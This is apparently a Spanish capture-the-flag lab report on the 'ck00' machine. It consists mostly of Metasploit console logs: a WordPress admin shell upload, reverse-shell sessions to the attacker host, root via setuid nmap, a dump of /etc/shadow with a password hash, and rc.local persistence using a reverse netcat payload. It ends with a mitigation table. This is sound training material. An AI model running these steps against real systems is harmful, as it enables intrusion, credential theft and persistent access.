[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/DmddyetyvHe/LioSBLYKPz.php ...
[*] Sending stage (41224 bytes) to 10.0.2.6
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in
[*] Deleted LioSBLYKPz.php
[*] Deleted DmddyetyvHe.php
[*] Deleted ../DmddyetyvHe
[*] Meterpreter session 1 opened (10.0.2.112:4444 → 10.0.2.6:47690) at 2025-10-28 11:50:52 +0100

meterpreter > getuid
Server username: www-data
meterpreter > bg
[*] Backgrounding session 1...
[*] Exploiting session 1...
[*] Started reverse TCP handler on 10.0.2.112:4444
[*] Authenticating with WordPress using admin:admin..
[*] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/TIjddRuRiI/EigNMImkXM.php ...
[*] Sending stage (41224 bytes) to 10.0.2.6
[*] Deleted EigNMImkXM.php
[*] Deleted TIjddRuRiI.php
[*] Deleted ../TIjddRuRiI
[*] Meterpreter session 2 opened (10.0.2.112:4444 → 10.0.2.6:47714) at 2025-10-28 11:55:27 +0100

meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter > dirb http://10.0.2.6
[-] Unknown command: dirb. Did you mean dir? Run the help command for more details.
meterpreter > dirb http://10.0.2.6
[-] Unknown command: dirb. Did you mean dir? Run the help command for more details.
```

Aquí voy cambiando de directorios dentro de la Shell para llegar hasta la bandera.

```

meterpreter > shell
Process 1877 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
exit
meterpreter > ls
[-] stdapi_fs_stat: Operation failed: 1
meterpreter > cd /home
meterpreter > ls
Listing: /home
=====
Mode          Size  Type  Last modified      Name
_____
040755/rwxr-xr-x  4096  dir   2019-08-02 15:38:44 +0200  bla
040755/rwxr-xr-x  4096  dir   2019-08-02 15:19:01 +0200  bla1
040755/rwxr-xr-x  4096  dir   2024-10-21 18:32:34 +0200  ck

meterpreter > cd /ck
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > use cck
Loading extension cck...
[-] Failed to load extension: No module of the name cck found
meterpreter > use ck
Loading extension ck...
[-] Failed to load extension: No module of the name ck found
meterpreter > ls
Listing: /home
=====

Mode          Size  Type  Last modified      Name
_____
040755/rwxr-xr-x  4096  dir   2019-08-02 15:38:44 +0200  bla
040755/rwxr-xr-x  4096  dir   2019-08-02 15:19:01 +0200  bla1
040755/rwxr-xr-x  4096  dir   2024-10-21 18:32:34 +0200  ck

meterpreter > cd ck

```

Aquí entro en el directorio ck hago un ls y veo ck00-local-flag le hago un cd/ el nombre

```

040755/rwxr-xr-x 4096 dir 2024-10-21 18:32:34 +0200 ck
meterpreter > cd ck
meterpreter > ls
Listing: /home/ck
=====
Mode          Size  Type  Last modified      Name
_____
020666/rw-rw-rw- 0    cha   2025-10-28 09:43:13 +0100 .bash_history
100644/rw-r--r-- 220  fil   2018-04-04 20:30:26 +0200 .bash_logout
100644/rw-r--r-- 3771 fil   2018-04-04 20:30:26 +0200 .bashrc
040700/rwx----- 4096 dir   2019-08-02 12:49:24 +0200 .cache
040700/rwx----- 4096 dir   2019-08-02 12:49:24 +0200 .gnupg
100644/rw-r--r-- 807  fil   2018-04-04 20:30:26 +0200 .profile
100644/rw-r--r-- 0    fil   2024-10-21 18:32:34 +0200 .sudo_as_admin_successful
100644/rw-r--r-- 103  fil   2019-08-03 11:45:19 +0200 ck00-local-flag

meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd /ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > ls
Listing: /home/ck
=====

Mode          Size  Type  Last modified      Name
_____
020666/rw-rw-rw- 0    cha   2025-10-28 09:43:13 +0100 .bash_history
100644/rw-r--r-- 220  fil   2018-04-04 20:30:26 +0200 .bash_logout
100644/rw-r--r-- 3771 fil   2018-04-04 20:30:26 +0200 .bashrc
040700/rwx----- 4096 dir   2019-08-02 12:49:24 +0200 .cache
040700/rwx----- 4096 dir   2019-08-02 12:49:24 +0200 .gnupg
100644/rw-r--r-- 807  fil   2018-04-04 20:30:26 +0200 .profile
100644/rw-r--r-- 0    fil   2024-10-21 18:32:34 +0200 .sudo_as_admin_successful
100644/rw-r--r-- 103  fil   2019-08-03 11:45:19 +0200 ck00-local-flag

```

Aquí se ve el flag de usuario haciéndole un cat al directorio.

```
meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd /ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > ls
Listing: /home/ck
=====
Mode          Size  Type  Last modified      Name
--          --   --   --           --
020666/rw-rw-rw-  0    cha   2025-10-28 09:43:13 +0100 .bash_history
100644/rw-r--r-- 220   fil   2018-04-04 20:30:26 +0200 .bash_logout
100644/rw-r--r-- 3771  fil   2018-04-04 20:30:26 +0200 .bashrc
040700/rwx----- 4096  dir   2019-08-02 12:49:24 +0200 .cache
040700/rwx----- 4096  dir   2019-08-02 12:49:24 +0200 .gnupg
100644/rw-r--r-- 807   fil   2018-04-04 20:30:26 +0200 .profile
100644/rw-r--r--  0    fil   2024-10-21 18:32:34 +0200 .sudo_as_admin_successful
100644/rw-r--r-- 103   fil   2019-08-03 11:45:19 +0200 ck00-local-flag

meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd ck00-local-flag
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cat ck00-local-flag
local.txt = 8163d4c2c7ccb38591d57b86c7414f8c

you got local flag
get the root shell and read root flag
meterpreter > bg
[*] Backgrounding session 2...
msf exploit(unix/webapp/wp_admin_shell_upload) > 
```

Con este comando he creado la sesión 3.

```
msf post(multi/recon/local_exploit_suggester) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[!] SESSION may not be compatible with this module:
[!] * unloadable Meterpreter extension: stdapi_sys
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.112:4433
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Sending stage (1062760 bytes) to 10.0.2.6
msf post(multi/recon/local_exploit_suggester) > sessions

Active sessions
=====
Id  Name  Type          Information          Connection
--  --   --          --           --
1   meterpreter php/linux  www-data @ ck00  10.0.2.112:4444 → 10.0.2.6:47690 (10.0.2.6)
2   meterpreter php/linux  www-data @ ck00  10.0.2.112:4444 → 10.0.2.6:47714 (10.0.2.6)
3   meterpreter x86/linux          10.0.2.112:4433 → 10.0.2.6:33636 (10.0.2.6)
```

Aquí selecciono la sesión 3 y busco suggester, selecciono el 0 y exploto.

```
msf post(multi/recon/local_exploit_suggester) > set session 3
session => 3
msf post(multi/recon/local_exploit_suggester) > search suggester

Matching Modules
=====
# Name                               Disclosure Date   Rank    Check  Description
- ___________________________________________________________________
0 post/multi/recon/local_exploit_suggester .           normal  No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf post(multi/recon/local_exploit_suggester) >
[*] Stopping exploit/multi/handler
exploit[*] Meterpreter session 3 opened (10.0.2.112:4433 → 10.0.2.6:33636) at 2025-10-28 12:17:45 +0100

[*] 10.0.2.6 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:34: warning: previous definition of WhoamiOid was here
[*] 10.0.2.6 - 222 exploit checks are being tried ...
[*] Running check method for exploit 12 / 8080
ck[*] Running check method for exploit 23 / 800
[*] 10.0.2.6 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/local/network_manager_vncp_username_priv_esc: The service is running, but could not be validated.
[*] 10.0.2.6 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] 10.0.2.6 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/local/ubuntu_enlightenment_mount_priv_esc: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[*] 10.0.2.6 - exploit/linux/persistence/rc_local: The target appears to be vulnerable. /etc/rc.local is writable
[*] 10.0.2.6 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 10.0.2.6 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid
```

Me salen todos estos exploits pero ninguno me funciona menos el 9 que si me funciona, pero no me crea una sesión en modo root y lo he tenido que hacer manualmente.

```
[*] 10.0.2.6 - Collecting local exploits for x86/linux...
[!] /usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
[!] /usr/share/metasploit-framework/vendor/bundle/ruby/3.0.3/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 10.0.2.6 - 22 exploit checks are being tried...
[*] 1) Running check method for exploit 12 / 8080
[*] ck(*) Running check method for exploit 23 / 7800
[*] 10.0.2.6 - 22 exploit checks are being tried...
[*] 10.0.2.6 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[*] 10.0.2.6 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] 10.0.2.6 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/local/ubuntu_enlightenment_mount_priv_esc: The target appears to be vulnerable.
[*] 10.0.2.6 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[*] 10.0.2.6 - exploit/linux/persistence/rc_local: The target appears to be vulnerable. ./etc/rc.local is writable
[*] 10.0.2.6 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 10.0.2.6 - exploit/linux/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 10.0.2.6 - Valid modules for session 3:
```

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/local/netfilter_priv_esc_ipv4	Yes	The target appears to be vulnerable.
2	exploit/linux/local/network_manager_vpnc_username_priv_esc	Yes	The service is running, but could not be validated.
3	exploit/linux/local/pkexec	Yes	The service is running, but could not be validated.
4	exploit/linux/local/su_login	Yes	The target appears to be vulnerable.
5	exploit/linux/local/ubuntu_enlightenment_mount_priv_esc	Yes	The target appears to be vulnerable.
6	exploit/linux/persistence/init_systemd	Yes	The target appears to be vulnerable. /tmp/ is writable and system is systemd based
7	exploit/linux/persistence/rc_local	Yes	The target appears to be vulnerable. ./etc/rc.local is writable
8	exploit/multi/persistence/cron	Yes	The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
9	exploit/unix/local/setuid_nmap	Yes	The target is vulnerable. /usr/bin/nmap is setuid
10	exploit/linux/local/abrt面对面_priv_esc	No	The target is not exploitable.
11	exploit/linux/local/wbt_sosreport_priv_esc	No	The target is not exploitable.
12	exploit/linux/local/wf_packet_chocoRoot_priv_esc	No	The target is not exploitable. Linux kernel sh: 0: getcwd(): failed: No such file or directory
13	exploit/linux/local/wf_packet_packet_set_ring_priv_esc	No	The target is not exploitable.

15.0-35-generic.sh is not vulnerable

He mirado mis sesiones

```
msf exploit(unix/local/setuid_nmap) > sessions
Active sessions
=====
Id  Name  Type          Information           Connection
--  ---  --  ---  ---
1   meterpreter  php/linux  www-data @ ck00  10.0.2.112:4444 → 10.0.2.6:47690 (10.0.2.6)
2   meterpreter  php/linux  www-data @ ck00  10.0.2.112:4444 → 10.0.2.6:47714 (10.0.2.6)
3   meterpreter  x86/linux www-data @ 10.0.2.6 10.0.2.112:4433 → 10.0.2.6:33636 (10.0.2.6)

msf exploit(unix/local/setuid_nmap) > options
Module options (exploit/unix/local/setuid_nmap):
=====
Name  Current Setting  Required  Description
--  --  --  --
ExtraArgs  no  Extra arguments to pass to Nmap (e.g. --datadir)
Nmap      /usr/bin/nmap  yes  Path to setuid nmap executable
SESSION    1  yes  The session to run this module on

Payload options (linux/x86/shell/reverse_tcp):
=====
Name  Current Setting  Required  Description
--  --  --  --
LHOST  10.0.2.112  yes  The listen address (an interface may be specified)
LPORT  4445  yes  The listen port

Exploit target:
```

Uso la sesión 2 hago un exploit, creo un shell

```
msf exploit(unix/local/setuid_nmap) > set SESSION 2
SESSION => 2
msf exploit(unix/local/setuid_nmap) > exploit
[*] Started reverse TCP handler on 10.0.2.112:4445
[*] Dropping executable /tmp/CDZozbyH.elf
[*] Dropping lua /tmp/ydDwiJNV.nse
[*] Running /tmp/ydDwiJNV.nse with Nmap
[*] Sending stage (36 bytes) to 10.0.2.6

whoami

[*] Command shell session 8 opened (10.0.2.112:4445 → 10.0.2.6:43120) at 2025-10-28 13:14:37 +0100

www-data
sudo ./nmap --interactive
sudo: ./nmap: command not found
^[[A^[[B
/bin/sh: 9: : not found
sudo ./nmap --interactive
sudo: ./nmap: command not found

shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
sudo ./nmap --interactive
sudo ./nmap --interactive
sudo: ./nmap: command not found
www-data@ck00:/home/ck$ cd /usr/bin
cd /usr/bin
```

Después con el comando de sudo he iniciado el Nmap y con el comando “!sh” abro una Shell dentro de la propia Shell y se ve como estoy en root y hago un background.

```
sudo ./nmap --interactive

Starting Nmap V. 5.00 ( http://nmap.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
#
# background
```

Navengando por el ordenador he llegado al flag de root.

Ahí capturo la bandera en la carpeta /root.



```
Session Acciones Editar Vista Ayuda
zipdetails
shell
sh: 3: shell: not found
cd /root
ls
ck00-root-flag.txt
cat ck00-root-flag.txt

[REDACTED] CHEERWIGHT [REDACTED]

flag = c0523985a2640ad30429fb2055196e4c
This flag is a proof that you get the root shell.
You have to submit your report containing all steps you take to get root shell.
Send your report to our official mail : vishalbiswas42@gmail.com
sessions
sh: 7: sessions: not found
bg
sh: 8: bg: No current job
^C
Terminate channel 209? [y/N] y
[*] Interacted with session 10
[*] Upgrading session 10...
[*] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.
[*] msf exploit(unix/local/setuid_mmap) > sessions 10
[*] Starting interaction with 10...

[*] Interact with a different session ID.
```

Para hacer el crackeo manual:

Primero he iniciado la sesión.

```
msf exploit(unix/local/setuid_mmap) > sessions -u 12
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12]
[*] Upgrading session ID: 12
[*] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.
[*] msf exploit(unix/local/setuid_mmap) > sessions 10
[*] Starting interaction with 10...

#
# meterpreter
meterpreter>
sh: ll: meterpreter: not found
whoami
whoami
root
# cd /etc
cd /etc
# cat shadow
cat shadow
root:$6$8vRM64i$JFTpw8WTdpUwpHgX0xuzin9CjplmxzTewFiaynbPnvA020Rbs10TCG4Ty.SoKf21Cz6eVL3SawRoIWDQcYW.:20017:0:99999:7:::
daemn:*:17941:0:99999:7:::
bin:*:17941:0:99999:7:::
sys:*:17941:0:99999:7:::
sync:*:17941:0:99999:7:::
games:*:17941:0:99999:7:::
mail:*:17941:0:99999:7:::
news:*:17941:0:99999:7:::
uucp:*:17941:0:99999:7:::
proxy:*:17941:0:99999:7:::
www-data:*:17941:0:99999:7:::
backup:*:17941:0:99999:7:::
list:*:17941:0:99999:7:::
irc:*:17941:0:99999:7:::
gnats:*:17941:0:99999:7:::
nobody:*:17941:0:99999:7:::
systemd-network:*:17941:0:99999:7:::
systemd-resolve:*:17941:0:99999:7:::
```

Me ido a shadow le pueste el comando de cat para visualizarlo y he añadido todos los hashes manualmente con creds adds.

Primero me he cerciorado de que estuviese en el workspace correcto y he añadido todos los creds manualmente.

```
Workspaces
=====
current name      hosts   services   vulns   creds   loots   notes
-----+-----+-----+-----+-----+-----+-----+-----+
Windowsplorable 1       1        2        4        0        2        2
default          2       51       190      11       32       11
owaspdbwa        1       5        95       0        0        3
Metasploitable2  1       0        1        7        4        1
Metasploitable2  1       1        1        0        0        2
*               CTF      4       6        2        1        1        8

msf exploit(unix/local/setuid_nmap) > creds add user:root hash:$SvNRW64i$JFTPw6WUdpUwpHgX0xuzin9CjpimzxEewFiaynBpnVA02Rbs1DTG4Ty.Sokf21CzeVl3SawRoiWDQcYW:20017:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:daemon hash::17941:0:999999:7:::
[*] Unknown key: "*", Valid keys are: "user", "password", "realm", "realm-type", "ntlm", "ssh-key", "hash", "address", "port", "protocol", "service-name", "jtr", "pkcs12", "postgres", "adcs-ca", "adcs-template", "pkcs12-password"
msf exploit(unix/local/setuid_nmap) > creds add user:bin hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:sys hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:sync hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:games hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:man hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:lp hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:news hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:ucp hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:proxy hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:www-data hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:backup hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:list hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:irc hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:gntns hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:gnutls hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:systemd-network hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:systemd-resolve hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:syslog hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:messagebus hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:_apt hash::17941:0:999999:7:::
msf exploit(unix/local/setuid_nmap) > creds add user:lxde hash::17941:0:999999:7:::
```

De ahí me he ido a hashdump he usado el 5 y lo he visualizado en options.

```
msf exploit(unix/local/setuid_nmap) > search type:auxiliary hashdump
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  auxiliary/scanner/smb/impacket/secretsdump      .           normal  No     DCOM Exec
1  auxiliary/scanner/mssql/mssql hashdump          .           normal  No     MSSQL Password Hashdump
2  auxiliary/scanner/mysql/mysql hashdump          .           normal  No     MySQL Password Hashdump
3  auxiliary/scanner/mysql/mysql/authbypass hashdump 2012-06-09  normal  No     MySQL Authentication Bypass Password Dump
4  auxiliary/scanner/oracle/oracle hashdump          .           normal  No     Oracle Password Hashdump
5  auxiliary/analyze/crack_databases              .           normal  No     Password Cracker: Databases
6  \_ action: auto                             .           .       .     Auto-selection of cracker
7  \_ action: hashcat                          .           .       .     Use Hashcat
8  \_ action: john                            .           .       .     Use John the Ripper
9  auxiliary/scanner/postgres/postgres hashdump      .           normal  No     Postgres Password Hashdump

Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/postgres/postgres_hashdump

msf exploit(unix/local/setuid_nmap) > use 5
[*] Setting default action auto - view all 3 actions with the show actions command
msf auxiliary(analyze/crack_databases) > options

Module options (auxiliary/analyze/crack_databases):
Name          Current Setting  Required  Description
---+-----+-----+-----+
CONFIG          no            no        The path to a John config file to use instead of the default
CRACKER_PATH    no            no        The absolute path to the cracker executable
CUSTOM_WORDLIST  no            no        The path to an optional custom wordlist
FORK             1             no        Forks for John the Ripper to use
INCREMENTAL      true          no        Run in incremental mode
ITERATION_TIMEOUT false         no        The max-run-time for each iteration of cracking
KORELOGIC        false         no        Apply the KoreLogic rules to John the Ripper Wordlist Mode(slower)
MSSQL            true          no        Include MSSQL hashes
MUTATE           false         no        Apply common mutations to the Wordlist (SLOW)
MySQL             true          no        Include MySQL hashes
```

después he añadido el rockyou.txt al CUSTOM_WORDLIST y lo he explotado, pero no funciona porque es un sha512.

```
msf auxiliary(analyze/crack_databases) > set CUSTOM_WORDLIST /usr/share/wordlists/rockyou.txt
CUSTOM_WORDLIST => /usr/share/wordlists/rockyou.txt
msf auxiliary(analyze/crack_databases) > exploit
[*] John Version Detected: 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 QMP
[*] No mssql found to crack
[*] No mssql05 found to crack
[*] No mssql12 found to crack
[*] No mysql found to crack
[*] No mysql-sha1 found to crack
[*] No oracle found to crack
[*] No dynamic_1506 found to crack
[*] No oracle11 found to crack
[*] No oracle12c found to crack
[*] No dynamic_1034 found to crack
[*] No uncracked password hashes found for: mssql, mssql05, mssql12, mysql, mysql-sha1, oracle, dynamic_1506, oracle11, oracle12c, dynamic_1034
[*] Auxiliary module execution completed
msf auxiliary(analyze/crack_databases) > use linux/persistence/rc_local
[*] Using configured payload cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(linux/persistence/rc_local) > set payload payload/cmd/unix/reverse_perl
payload => cmd/unix/reverse perl
```

Ahora hago la persistencia

He usado Linux/persistence/rc_local

```
msf auxiliary(analyze/crack_databases) > use linux/persistence/rc_local
[*] Using configured payload cmd/linux/http/aarch64/meterpreter/reverse_tcp
```

Aquí muestro mis sesiones:

```
msf exploit(linux/persistence/rc_local) > sessions
Active sessions
=====
Id  Name  Type            Information          Connection
--  --   --
1   meterpreter php/linux www-data @ ck00  10.0.2.112:4444 -> 10.0.2.6:47690 (10.0.2.6)
2   meterpreter php/linux www-data @ ck00  10.0.2.112:4444 -> 10.0.2.6:47714 (10.0.2.6)
3   meterpreter x86/linux www-data @ 10.0.2.6 10.0.2.112:4433 -> 10.0.2.6:33636 (10.0.2.6)
8   shell x86/linux           10.0.2.112:4445 -> 10.0.2.6:43120 (10.0.2.6)
9   shell x86/linux           10.0.2.112:4445 -> 10.0.2.6:43124 (10.0.2.6)
10  shell x86/linux           10.0.2.112:4445 -> 10.0.2.6:43126 (10.0.2.6)
11  meterpreter x86/linux www-data @ 10.0.2.6 10.0.2.112:4445 -> 10.0.2.6:43128 (10.0.2.6)
12  shell x86/linux           10.0.2.112:5555 -> 10.0.2.6:36328 (10.0.2.6)
```

Aquí se ve como he escogido el payload de reverse_netcat y ejecuto el exploit.

Me ha dado un error pero se ha creado correctamente.

```
msf exploit(linux/persistence/rc_local) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(linux/persistence/rc_local) > exploit
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.2.112:5555
msf exploit(linux/persistence/rc_local) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /etc/rc.local is writable
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Reading /etc/rc.local
[*] Created /etc/rc.local backup: /root/.msf4/loot/20251028155821_CTF_10.0.2.6_rc.local_776117.txt
[*] Patching /etc/rc.local
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_chmod: Operation failed: 1
```

He escogido la sesión 1 la he explotado

```
msf exploit(linux/persistence/rc_local) > set session 1
session => 1
msf exploit(linux/persistence/rc_local) > exploit
[*] Exploit running as background job 8.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.2.112:5555
msf exploit(linux/persistence/rc_local) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] The target appears to be vulnerable. /etc/rc.local is writable
[*] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Reading /etc/rc.local
[*] Created /etc/rc.local backup: /root/.msf4/loot/20251028155909_CTF_10.0.2.6_rc.local_790640.txt
[*] Patching /etc/rc.local
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_chmod: Operation failed: 1
```

Después me he ido a multi/handler he ejecutado el options y he configurado los campos de LHOST, LPORT y he puesto el payload de netcat.

```
msf exploit(linux/persistence/rc_local) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > options

Payload options (generic/shell_reverse_tcp):
Name   Current Setting  Required  Description
LHOST          yes        The listen address (an interface may be specified)
LPORT          4444       yes        The listen port

Exploit target:

Id  Name
--  --
0   Wildcard Target

View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set LHOST 10.0.2.112
LHOST => 10.0.2.112
msf exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf exploit(multi/handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(multi/handler) > options
```

Lo he explotado usando exploit -j he abierto y cerrado la maquina “Explotacion y Post-Explotación” y se me ha cerrado y abierto la sesión después correctamente.

```
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 9.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.2.112:5555
msf exploit(multi/handler) > [*] 10.0.2.6 - Meterpreter session 1 closed. Reason: Died
[*] 10.0.2.6 - Meterpreter session 2 closed. Reason: Died
[*] 10.0.2.6 - Meterpreter session 11 closed. Reason: Died
[*] 10.0.2.6 - Meterpreter session 3 closed. Reason: Died

msf exploit(multi/handler) > jobs

Jobs
====

 Id  Name            Payload           Payload opts
 --  --
 9   Exploit: multi/handler  cmd/unix/reverse_netcat  tcp://10.0.2.112:5555

msf exploit(multi/handler) > [*] Command shell session 14 opened (10.0.2.112:5555 → 10.0.2.6:48394) at 2025-10-28 16:02:12 +0100
msf exploit(multi/handler) > [*] Command shell session 13 opened (10.0.2.112:5555 → 10.0.2.6:48392) at 2025-10-28 16:02:17 +0100
sessions
```

Aquí se ve como listo las sesiones y como la sesión 14 poniendo whoami me devuelve el root.

```
msf exploit(multi/handler) > [*] Command shell session 14 opened (10.0.2.112:5555 → 10.0.2.6:48394) at 2025-10-28 16:02:12 +0100
msf exploit(multi/handler) > [*] Command shell session 13 opened (10.0.2.112:5555 → 10.0.2.6:48392) at 2025-10-28 16:02:17 +0100
sessions
Active sessions
--  Id  Name  Type      Information  Connection
--  8   shell x86/linux  10.0.2.112:4445 → 10.0.2.6:43120 (10.0.2.6)
  9   shell x86/linux  10.0.2.112:4445 → 10.0.2.6:43124 (10.0.2.6)
  10  shell x86/linux  10.0.2.112:4445 → 10.0.2.6:43126 (10.0.2.6)
  12  shell x86/linux  10.0.2.112:5555 → 10.0.2.6:36328 (10.0.2.6)
  13  shell cmd/unix   10.0.2.112:5555 → 10.0.2.6:48392 (10.0.2.6)
  14  shell cmd/unix   10.0.2.112:5555 → 10.0.2.6:48394 (10.0.2.6)

msf exploit(multi/handler) > sessions 14
[*] Starting interaction with 14...
whoami
root
|
```

5. Vulnerabilidades

A continuación, se listan las vulnerabilidades encontradas:

ID	Vulnerabilidad	Tipo	Riesgo	Prueba/Evidencia	Mitigación
1	Autenticación SSH Credenciales débiles por credenciales (SSH)	Sistema	Alto	ssh user@<IP>	Política de contraseñas
2	Binario SUID que permite escalado local	SUID/Permisos	Alto	ls -l /usr/bin/vuln	Quitar bit SUID si no necesario
3	Persistencia instalada en rc.local	Persistencia	Alto	rc.local que permite reverse shell	Restringir edición
4	Credenciales inseguras	Acceso	Alto	Auxiliary	
5	Plugin vulnerable en WordPress que permite ejecución remota (RCE)	Aplicación Web	Crítico	Explotacion via Metasploit	Mantener WordPress y plugins actualizados; restringir subida de archivos y uso de usuarios admin.
6	Hashes de contraseñas expuestos en /etc/shadow	Acceso	Alto	Volcado y crackeo on rockyou.txt	
...					

6. Recomendaciones

Se recomienda priorizar las vulnerabilidades de nivel crítico y alto, aplicando las siguientes medidas de mitigación específicas para sistemas operativos:

Ejemplos:

- Cambiar todas las contraseñas débiles. Usa contraseñas largas o un gestor.
- Borrar o protege cualquier script de arranque (rc.local, systemd) que permita shells.
- Actualizar WordPress
- Limitar el usuario “admin” en WordPress o crea otro con permisos mínimos.

Estas medidas contribuyen a reducir el riesgo de escalada de privilegios, acceso no autorizado y compromisos persistentes en la máquina objetivo.

7. Conclusiones

El CTF demostró cómo una máquina sencilla puede ser comprometida por completo aprovechando credenciales débiles, fallos de configuración y un plugin vulnerable, logrando acceso inicial, privilegios de root y persistencia.

Los principales hallazgos incluyen:

- Obtención de acceso no privilegiado mediante explotación de servicios y aplicaciones vulnerables (WordPress y servicios internos).
- Escalada de privilegios a root mediante binarios SUID vulnerables, configuraciones de sudoers y exploits locales conocidos.
- Exposición de credenciales y hashes del sistema, permitiendo potencial movimiento lateral y persistencia.
